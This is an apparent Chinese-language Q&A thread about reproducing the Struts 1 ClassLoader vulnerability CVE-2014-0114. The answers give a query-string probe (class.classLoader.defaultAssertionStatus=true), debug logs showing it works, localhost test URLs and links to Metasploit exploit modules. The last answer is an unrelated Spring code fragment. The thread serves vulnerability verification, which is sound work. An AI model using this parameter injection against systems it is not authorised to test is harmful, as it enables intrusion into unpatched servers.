在Struts1中,我听说有一个由CVE-2014-0114引起的类加载器漏洞问题。但是我无法在我的项目中重现这一点。任何人都可以帮助我如何重现这个问题。我用谷歌搜索,但没有得到任何再现的程序。
我在网上使用struts-1.1
,Jboss -4.2.3.GA
,Apache 2.2.0
,MySql 5.0.37
,JKMod
,JDK 1.6.0_12
,Ant 1.7.0
项目
答案 0 :(得分:11)
尝试调用映射到struts操作的URL(由操作表单支持)。框架将尝试从查询参数填充表单bean。因此,如果您有?class.classLoader.defaultAssertionStatus=true
之类的查询参数,则会转换为formBean.getClass().getClassLoader().setDefaultAssertionStatus(true)
。
如果您启用了调试日志记录,则会看到以下消息:
2014-05-05 12:57:50,238 DEBUG [org.apache.struts.action.RequestProcessor] Populating bean properties from this request
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils] BeanUtils.populate(com.xxx.struts.demo.web.form.SimpleForm@71909bc, {class.classLoader.defaultAssertionStatus=[Ljava.lang.String;@a6b23fd4})
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils] setProperty(com.xxx.struts.demo.web.form.SimpleForm@71909bc, class.classLoader.defaultAssertionStatus, [true])
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils] Target bean = com.ibm.ws.classloading.internal.AppClassLoader@3ac10955
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils] Target name = defaultAssertionStatus
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils] Convert string 'true' to class 'boolean'
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils] Using converter org.apache.commons.beanutils.converters.BooleanConverter@de2943ef
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.PropertyUtils] setSimpleProperty: Invoking method public void java.lang.ClassLoader.setDefaultAssertionStatus(boolean) with value true (class java.lang.Boolean)
答案 1 :(得分:2)
我尝试了两种以上的方式来重现目的。它工作正常。
http://127.0.0.1:8080/MyFormGroupEditSection.do?com.macao.DelphyHacker.Marathonclass.marathonId=34&groupId=862
http://127.0.0.1:8080/MyFormGroupEditSection.do?class.classLoader=true&groupId=862
出于此问题的解决方案,我想添加一些注释。您可以关注这2个链接。希望它能帮助你消除这个问题。
答案 2 :(得分:0)
基于Metasploit的漏洞可以在GitHub上获得:https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts_code_exec_classloader.rb和http://downloads.securityfocus.com/vulnerabilities/exploits/65999.rb。 请参阅http://www.rapid7.com/db/modules/exploit/multi/http/struts_code_exec_classloader以供参考。
答案 3 :(得分:0)
除了上面的解决方案之外,我想指出在defaultAssertionStatus = enabled;
内的setDefaultAssertionStatus
行的ClassLoader中添加一个断点,并且在私有布尔defaultAssertionStatus = false;
行中添加一个观察者是一个很好的验证上述网址修改:?class.classLoader.defaultAssertionStatus=true
是否有效的方法 defaultAssertionStatus 现在应该是真的。
希望这有帮助!
答案 4 :(得分:0)
类似的东西可以测试(至少在代码中)
@PostMapping(value = "/uploads", consumes = MediaType.MULTIPART_FORM_DATA_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public ResponseEntity uploads(MultipartHttpServletRequest request) {
// use request.getFileMap() and request.getParameterMap()
}